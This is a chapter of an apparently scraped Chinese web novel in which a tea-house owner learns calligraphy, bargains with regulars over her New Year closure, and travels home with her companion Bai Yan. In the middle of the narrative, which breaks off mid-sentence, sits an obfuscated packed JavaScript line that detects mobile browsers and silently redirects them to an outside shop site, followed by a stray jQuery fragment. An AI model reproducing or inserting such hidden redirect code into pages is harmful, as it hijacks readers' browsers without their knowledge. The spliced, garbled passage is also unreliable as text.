30. 回家
    夜晚的颜喜书画斋一片岁月静好,宁静祥和。

    余念念走到门口就忍不住嘴角带笑,跨进去,熟门熟路地走到位于深处的一张大书桌边,亲昵地叫了声:“白爷爷!”

    书桌另一头,带着老花镜的白老抬起头,脸上一下子挂满笑意:“小余,来啦!”

    “来了!”余念念坐在看上去给她留的座位上,面前的桌上已经摆好一套笔墨纸砚,“白爷爷,怎么突然想要教我写对联啦?”

    白老云淡风轻地道:“这不是,你要带白砚回家过年了嘛,我想着得准备点什么。”

    余念念一下子坐得笔直。

    什么岁月静好,什么宁静祥和,这怕不是鸿门宴吧!

    “白爷爷,您......知道啦?”

    白老笑着点头:“知道啦。”

    “我和白砚......那都是闹着玩儿的,这年头哪还有正经人玩角色扮演呐......”

    这时,白砚正好从后面屋里走出来,听到余念念的话,轻轻哼了一声:“所以你是阳奉阴违喽?表面不拒绝,内心想自己偷溜回家?”

    余念念:“......这倒不能这么说......”

    转头,看向白老,眼神诚恳,“只是,我想着你肯定是要留在崇安陪白爷爷过年的,怎么会陪我这个外人回家过年,所以,我也没太当真......”

    白砚凑到她面前,直视她的眼睛:“余念念,跟你说过多少次了,改改主观臆断的臭毛病。”

    余念念仔细看他的眼神,有一秒钟似乎真的看到一丝怒意——他该不会真的觉得自己被无声抛弃了吧......

    “我不是我没有!你听我解释!我这个人,向来善于从别人角度思考问题,我以为你那天在天台那么说只是为了避免我太过难堪,事后,你可能仔细想想,想到要独自一人过年的白爷爷,又觉得自己不孝,但是又不好意思向我开口反悔。那如果是这样的话,我是不是应该自己识趣点,主动拒绝一下你?”

    白砚听完,脸色有所缓和,但仍点评:“你的内心戏有点过于多了。”

    白老笑呵呵看着他们拌嘴,这时道:“小余,你确实想多了,我每年过年啊,都是跟几个老家伙出去旅游,今年已经约好老常,要去那个洪家村玩。”

    余念念惊讶道:“去村长那儿过年?”

    “嗯,这个村长呐,真是热情好客,老常呢,反正也一个人,去哪儿过都是过,他就拉上我一起,去洪家村玩一趟,就当是提前为明年的合作做一下考察喽。”

    余念念眼睛一亮:“明年真的会有合作?”

    “哈哈,照洪家村村长的积极程度,没可能也给你变出可能!”

    余念念点点头,对于这一点,她倒是十分认同:“太好了,听您这么一说,我都想跟着去洪家村过年了!”

    白老摆摆手:“我们几个老家伙游山玩水,你们小年轻跟着干什么!往年过年出去玩白砚跟着我都嫌烦,今年好不容易有机会摆脱了,你做做好事,赶紧把他带走吧!”

    余念念瞄了一眼一旁默不作声的白砚,对白老的话将信将疑——按照她往年过年期间的经验,白砚这样的貌美天仙男,到哪里都不会招人烦的,只会被一群大爷大妈围着问东问西、介绍女朋友。

    她又瞄了一眼白砚的脸色,觉得此时要是再拒绝的话,就会失去他这个朋友——可能还是朋友吧,虽然对此有点心虚——了,于是,赶紧点头:“太好了!那我就松口气了,我终于不是当阳奉阴违的小人了!”

    接下来,她认认真真跟着白老,学着写了一副大大的对联,写完,颇满意地自我欣赏了片刻。

    白老仔细看了几眼她的对联,转身,从一旁的书架上取出一袋早就准备好的对联、福字等,递给她,十分委婉地道:“你写的很好,我这副给你备着,到时候,想贴哪副贴哪副。”

    余念念干笑着接下,看了一眼旁边嘴角有些压不住的白砚,内心默默滴泪:这爷孙俩,算是把她余念念拿捏得死死的。

    ——————

    很快就要过年了。

    过年期间,余念念打算把茶馆关门几天,她盘算着,好不容易回趟家,还有跟母亲大人和解的任务在身,怎么着也得关七天吧。

    她的茶馆虽然生意不错,但过年的时候谁家不出去玩,估计开了也生意惨淡。

    所以,当她在茶馆里说出她要关店七天时,着实是没预料到众人会有这么大反应的。

    “七天?!”小优叫道,“老板,哪个做生意的敢像你这么关门?生产队的驴都不敢这么歇!”

    “七天?!”魏大爷叫道,“我孤家寡人要流落在外七天!你真的忍心嘛小余!”

    “七天?!”刘大爷叫道,“我要在家带七天孙子,乐宝那臭小子岂不是要吵死我!小余我拜托你别这么狮子大开口!”

    余念念被他们的抗议声震惊到,寻思,狮子大开口是这么用的?而且,她关自己的店,居然阻力也这么大?

    “小优,你一个打工的,不是应该希望多放几天假么?魏大爷,明明王大爷邀请您去他们家过年了,桂云婶说顿顿给您烧大餐,您少在这里卖惨!还有刘大爷,我不信您有这么老实乖乖在家带孙子,到时候还不是偷偷自己溜出去玩?”

    小优:“我是本地人,不用回老家,也没亲戚要走,而且我跟我爸吵架了还没和解呢,我可不想天天在家对着他的扑克脸!”

    魏大爷:“桂云做的菜再好吃,也是别人家的,我还是在你这里花自己的钱喝茶下棋比较自在!”

    刘大爷:“溜出去玩这种事情年轻的时候干干就好,那时候只有一个媳妇管着,现在嘛,一堆人管着,连乐宝都能说我两句,我不干我不干!”

    余念念:“那......五天?”

    众人皱眉思考。

    这时,茶馆门口飘进一个人影,居委会的陈帆气喘吁吁地进来了,一进门就喊:“余老板,听说你过年要关门?”

    余念念点点头:“过年嘛,自然是要关门回家的。”

    陈帆着急地问:“关几天?”

    余念念看了眼另外三人,迟疑道:“五......天?”

    陈帆瞪着眼睛:“五天!太久了吧!”

    余念念:“......请说出你的理由。”

    “茶馆关门了我就没地方调酒了,五天不调酒我会憋死!”

    余念念抿着嘴,看了他片刻,十分温和地说道:“陈帆,我非常理解你的感受,但是我是不可能因为你一个人的原因,就缩短自己的假期的,而且,我刚认识你的时候,你一天到晚在居委会工作,并没有在调酒,也活得好好的,可见,你是憋不死的。”

    陈帆焦急地转了转眼珠子,急中生智:“那三楼那群客人怎么办,你也不管他们死活啦?我可听他们说了,过年走亲戚太无聊了,要是能在天台晒太阳就太好了!”

    这个理由成功让余念念犹豫了,她知道,自己的三楼天台确实让某些忠实客户精神上瘾,但是......区区五天,也没那么难熬吧?

    她凝眉看过去,对面几人一脸苦大仇深的样子,于是,她又迟疑地开口:“那......三天?”

    “成交!”

    魏大爷连忙点头,冲另外几人做出个往下压的手势,意思余念念看懂了:到极限了,不能再逼了,见好就收吧。

    冷静下来,余念念又仔细想了想,三天!够干啥?她张开嘴,要再商讨商讨,一抬眼,魏大爷拉着刘大爷和陈帆往门口走,边走,边扔下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209330|148187||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    句:“做生意啊,最重要就是诚信!”

    小优在里面应道:“可不是么,我们老板就是最讲诚信的!”

    余念念于是干脆地闭嘴,从口袋里掏出一个红信封,递给小优。

    小优接过去,感受了一下厚度,喜笑颜开:“谢谢老板!我就知道我计小优没了我爸的银行卡也饿不死!现在,我可以过个好年喽!”

    余念念皱眉:“我是不是成为你们父女和解的绊脚石了?”

    小优勾住她的脖子,在她脸上重重亲了一口:“错!你是我走向独立的助推器!”

    ——————

    终于,腊月二十九到了。

    这天早上,余念念没让小优来上班,独自一人将茶馆打扫干净,提前贴好对联,锁好大门,便和白砚一起去了高铁站。

    高铁缓缓开动,坐在窗边的余念念盯着窗外,有些怅然若失地叹了口气,转过头来,看着白砚。

    “一年,就这么过去了?”

    白砚点点头:“过去了。”说完,见余念念脸色失落,又安慰:“你今年过的不是很精彩么?”

    余念念想了片刻,笑道:“前面十个月已经完全模糊了,只有从十一月见到你和白爷爷的那个晚上开始,生活就像开了加速器,一个月发生的事能顶一年,一个月认识的人能顶之前十年,还有,”她突然顿住,“一次惹我妈爆发的怒气值,能比得上之前二十多年......”

    她担忧地看了白砚一眼:“所以,这次去我家,你要保护好自己,当然,我也会尽量保护你,但我很可能自身难保......”

    说着,她直起身,认真地掰着手指头交代:“记住三件事:第一,尽量远离我妈,她武力值惊人,你应该已经见识过了;第二,尽量避免跟我弟,也就是余玩交谈,他嘴贱,又八卦,还大嘴巴;第三,我爸可以多聊,他温和无害,是和稀泥种子选手,我妈爆发时能拿他挡箭牌就千万别客气。”

    白砚似乎觉得她说的很有意思,眼里冒出笑意:“有你这么说自己家人的么?”

    “还有,最后一点,也是最重要的一点,记住,我们这次回家,是热脸贴冷屁股,你跟着我受苦了,但我们就当历三天的劫,历完回崇安就好了,千万保持平和的心态,好么?”

    “余念念,你......”

    “对了,面子功夫还是要做一做的,一会儿,出了高铁站,我们找个水果店买几盒水果拎回去,免得他们说我过年回家两手空空,我知道你这个不食人间烟火的人是想不到这个的,放心,有我。”

    “余念念,我......”

    “老天保佑,让我这次平安渡劫,我愿意单身三年换这一次安稳......”

    “余念念,住口!”

    ......

    下了高铁,从出站口走出,两人正要按计划要找家水果店买点水果,突然,余念念浑身一颤,直直瞪着某个方向,表情像见了鬼一样。

    “怎么了?”白砚问,又顺着她的眼神看过去,只见,在出站口外,立了一排三个人。

    为首的,是余妈,一如之前气场强大,羊毛大衣从头裹到脚,双手抱臂,眼神隐藏在一副墨镜下。

    中间的,是一个一看就知道是余念念爸爸的中年男子,一脸温和,略显局促地搓着裤缝。

    最后面,是一个高个子细长条年轻小伙,举着横幅:欢迎余念念携男友回乡探亲。脸上带着夸张的笑意。

    三个人如同wifi信号一样从低到高杵在那里,出站的乘客无不对他们投去好奇的眼神,还对着横幅指指点点,小声讨论着“余念念”是何方神圣。

    余念念:“......”

    白砚:“......你不是说,我们是热脸贴冷屁股么?”